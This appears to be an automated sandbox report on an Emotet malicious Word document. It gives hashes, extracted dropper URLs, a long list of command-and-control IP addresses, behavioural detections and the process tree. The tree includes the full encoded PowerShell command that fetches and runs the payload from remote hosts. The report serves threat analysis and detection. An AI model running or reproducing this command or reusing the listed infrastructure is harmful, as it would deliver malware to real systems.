Analysis
- max time kernel
137s - max time network
160s - platform
windows10_x64 - resource
win10 - submitted
19/08/2020, 21:11
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_d220bbc8081710b4776297c19f586d5ea6353b14ae1b1dcc7819e1f969aead89_2020-08-19__210954._doc.doc
Resource
win7v200722
General
- Target emotet_e3_d220bbc8081710b4776297c19f586d5ea6353b14ae1b1dcc7819e1f969aead89_2020-08-19__210954._doc.doc
- Size 192KB
- Sample200819-lc8n1ehpp2
- SHA256 d220bbc8081710b4776297c19f586d5ea6353b14ae1b1dcc7819e1f969aead89
- MD5 20f7ac4a8d0b5958a8fbc7137c0049b9
- SHA1 a92cbd54f03edf7b9a604a7576176f5e845383fb
- SHA512 d60749b54792c21b39fba96f308fe46eb6e31a8448afd70359ebd8ab266803dab40cb086e5bd67b1617f04a38883490a73fb46c5edb3b6f31804d276c56f2403
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
-
exe.dropper
http://cabanashuasca.com/sys-cache/qkmAGt/
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exe.dropper
http://serviceforlongi.com/wp-admin/1zn0p6648274/
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exe.dropper
https://brightmega.com/cache/tAhJ/
-
exe.dropper
http://cabral.adv.br/css/wsF/
-
exe.dropper
http://www.duhallow.com/wp-content/yvu1atyip7814/
-
exe.dropper
http://www.emmashop.sk/sitemap/f00nsf09254466/
-
exe.dropper
http://flabbergast.dk/blogs/jdu6dq57246773/
Extracted
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emotet
-
173.94.215.84:80
-
85.25.207.108:8080
-
178.128.14.92:8080
-
60.125.114.64:443
-
181.126.54.234:80
-
157.7.164.178:8081
-
95.216.205.155:8080
-
216.75.37.196:8080
-
179.62.238.49:80
-
71.57.180.213:80
-
172.96.190.154:8080
-
112.78.142.170:80
-
178.238.232.46:443
-
177.144.130.105:443
-
105.209.235.113:8080
-
46.105.131.68:8080
-
185.86.148.68:443
-
143.95.101.72:8080
-
75.127.14.170:8080
-
168.0.97.6:80
-
181.114.114.203:80
-
185.208.226.142:8080
-
201.235.10.215:80
-
177.32.8.85:80
-
37.46.129.215:8080
-
74.208.173.91:8080
-
190.212.140.6:80
-
202.5.47.71:80
-
41.185.29.128:8080
-
81.214.253.80:443
-
107.161.30.122:8080
-
46.32.229.152:8080
-
5.79.70.250:8080
-
115.79.195.246:80
-
113.161.148.81:80
-
179.5.118.12:80
-
178.33.167.120:8080
-
91.83.93.103:443
-
51.38.201.19:7080
-
185.142.236.163:443
-
118.70.15.19:8080
-
181.134.9.162:80
-
105.213.67.88:80
-
217.199.160.224:8080
-
192.210.217.94:8080
-
197.249.6.179:443
-
86.57.216.23:80
-
86.98.143.163:80
-
181.113.229.139:443
-
201.213.177.139:80
-
195.201.56.70:8080
-
172.105.78.244:8080
-
190.190.15.20:80
-
190.53.144.120:80
-
139.59.12.63:8080
-
87.106.231.60:8080
-
66.61.94.36:80
-
198.57.203.63:8080
-
177.37.81.212:443
-
192.241.220.183:8080
-
115.78.11.155:80
-
188.0.135.237:80
-
78.189.60.109:443
-
31.146.61.34:80
-
175.29.183.2:80
-
203.153.216.178:7080
-
181.137.229.1:80
-
188.251.213.180:443
-
177.94.227.143:80
-
192.163.221.191:8080
-
50.116.78.109:8080
-
197.221.158.162:80
-
139.99.157.213:8080
-
77.74.78.80:443
-
81.17.93.134:80
-
190.164.75.175:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2896 3888 powersheLL.exe 67 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1212-14-0x0000000002450000-0x000000000245C000-memory.dmp emotet behavioral2/memory/1212-14-0x0000000002450000-0x000000000245C000-memory.dmp emotet behavioral2/memory/1500-17-0x0000000000610000-0x000000000061C000-memory.dmp emotet behavioral2/memory/1500-17-0x0000000000610000-0x000000000061C000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 20 2896 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1212 Pz6kc0.exe 1500 gamingtcui.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\winrnr\gamingtcui.exe Pz6kc0.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3588 WINWORD.EXE 3588 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2896 powersheLL.exe 2896 powersheLL.exe 2896 powersheLL.exe 1500 gamingtcui.exe 1500 gamingtcui.exe 1500 gamingtcui.exe 1500 gamingtcui.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2896 powersheLL.exe - Suspicious use of SetWindowsHookEx 15 IoCs
pid Process 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 1212 Pz6kc0.exe 1212 Pz6kc0.exe 1500 gamingtcui.exe 1500 gamingtcui.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2896 wrote to memory of 1212 2896 powersheLL.exe 75 PID 2896 wrote to memory of 1212 2896 powersheLL.exe 75 PID 2896 wrote to memory of 1212 2896 powersheLL.exe 75 PID 1212 wrote to memory of 1500 1212 Pz6kc0.exe 76 PID 1212 wrote to memory of 1500 1212 Pz6kc0.exe 76 PID 1212 wrote to memory of 1500 1212 Pz6kc0.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_d220bbc8081710b4776297c19f586d5ea6353b14ae1b1dcc7819e1f969aead89_2020-08-19__210954._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3588
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABFAHIAcgAyADIAMwBrAD0AKAAnAEIAJwArACcANAAwADgAbAAnACsAJwBuADkAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBwAFwAbwBGAGYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAFUAYABSAEkAYABUAFkAUAByAE8AVABgAE8AYwBPAGwAIgAgAD0AIAAoACcAdABsAHMAMQAnACsAJwAyACcAKwAnACwAIAB0ACcAKwAnAGwAJwArACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQA7ACQARwA3AHAAegBrAHQAZgAgAD0AIAAoACcAUAB6ADYAawBjACcAKwAnADAAJwApADsAJABXAGkAMAAxAHgANwBrAD0AKAAnAFoAaQBoAHAAagAzACcAKwAnAHYAJwApADsAJABNAHAAYgB2AGQAdAByAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB1AGcAQwBPACcAKwAnAGYAZgBpACcAKwAnAGMAZQAyADAAJwArACcAMQA5ACcAKwAnAHUAZwBDACcAKQAgACAALQBjAHIAZQBwAGwAYQBjAEUAJwB1AGcAQwAnACwAWwBjAGgAYQByAF0AOQAyACkAKwAkAEcANwBwAHoAawB0AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAZgB5AHQAbAB2AHYAPQAoACcAVwAwAGgAJwArACcAZAB2ACcAKwAnAHoANwAnACkAOwAkAE0AOABhAGwAegBkAHUAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBsAEkAZQBuAHQAOwAkAEsAegA3ADAAcwBsAF8APQAoACcAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBjAGEAYgAnACsAJwBhAG4AJwArACcAYQBzAGgAdQBhAHMAYwAnACsAJwBhAC4AJwArACcAYwBvAG0ALwBzAHkAJwArACcAcwAtAGMAJwArACcAYQAnACsAJwBjAGgAZQAvAHEAawBtAEEARwB0AC8AJwArACcAKgBoAHQAdABwADoALwAvAHMAZQByACcAKwAnAHYAaQBjAGUAZgBvAHIAbABvAG4AZwBpACcAKwAnAC4AYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBhAGQAbQBpAG4ALwAnACsAJwAxAHoAbgAwAHAANgA2ACcAKwAnADQAOAAyADcAJwArACcANAAvACoAaAAnACsAJwB0AHQAcAAnACsAJwBzADoAJwArACcALwAvAGIAJwArACcAcgBpACcAKwAnAGcAaAB0AG0AZQBnAGEALgBjAG8AbQAvAGMAYQAnACsAJwBjAGgAZQAvAHQAQQBoACcAKwAnAEoALwAqAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AYwAnACsAJwBhAGIAcgBhAGwAJwArACcALgBhAGQAJwArACcAdgAuAGIAcgAvAGMAcwBzAC8AdwBzAEYALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AdwB3AHcALgBkAHUAaAAnACsAJwBhAGwAbAAnACsAJwBvAHcAJwArACcALgBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwAnACsAJwBuACcAKwAnAHQAZQBuAHQALwB5AHYAJwArACcAdQAxAGEAdAAnACsAJwB5ACcAKwAnAGkAcAA3ADgAMQA0AC8AKgBoACcAKwAnAHQAdABwADoALwAvAHcAdwB3AC4AZQBtAG0AJwArACcAYQBzAGgAbwBwAC4AJwArACcAcwBrACcAKwAnAC8AcwBpAHQAZQBtAGEAcAAvAGYAMAAwAG4AJwArACcAcwBmADAAOQAyACcAKwAnADUANAA0ADYANgAvACoAJwArACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACsAJwBmAGwAYQAnACsAJwBiAGIAZQByAGcAJwArACcAYQAnACsAJwBzACcAKwAnAHQAJwArACcALgBkACcAKwAnAGsAJwArACcALwBiAGwAJwArACcAbwBnAHMALwBqACcAKwAnAGQAdQA2AGQAcQA1ADcAMgA0ADYAJwArACcANwAnACsAJwA3ADMALwAnACkALgAiAHMAUABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgBlAHcAdAA0AGMAeAA9ACgAJwBVADEAJwArACcAMAB6AGUAOQAnACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4AbgB3AHcAMgBqAGwAIABpAG4AIAAkAEsAegA3ADAAcwBsAF8AKQB7AHQAcgB5AHsAJABNADgAYQBsAHoAZAB1AC4AIgBkAE8AdwBuAEwAYABvAGEAZABgAEYASQBMAEUAIgAoACQATgBuAHcAdwAyAGoAbAAsACAAJABNAHAAYgB2AGQAdAByACkAOwAkAEEAZgBmAGUAcABwAGIAPQAoACcAUQBuADYAeQAnACsAJwB6AGcAcwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQATQBwAGIAdgBkAHQAcgApAC4AIgBsAEUAYABOAGcAVABoACIAIAAtAGcAZQAgADIANgAxADgAMAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABNAHAAYgB2AGQAdAByACkAOwAkAFcAaABmAGcAYgAzAHgAPQAoACcARQAyAHcAdwAnACsAJwA3ACcAKwAnAHMAOQAnACkAOwBiAHIAZQBhAGsAOwAkAFQAYwBxAHQAMgA5ADQAPQAoACcASAA3AHAAaABfACcAKwAnADUAdgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbQBqADIAdABrAF8APQAoACcATgAnACsAJwB4AGoAeQAnACsAJwBxAHoAMgAnACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Users\Admin\AppData\Local\Temp\Office2019\Pz6kc0.exe"C:\Users\Admin\AppData\Local\Temp\Office2019\Pz6kc0.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\SysWOW64\winrnr\gamingtcui.exe"C:\Windows\SysWOW64\winrnr\gamingtcui.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1500
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-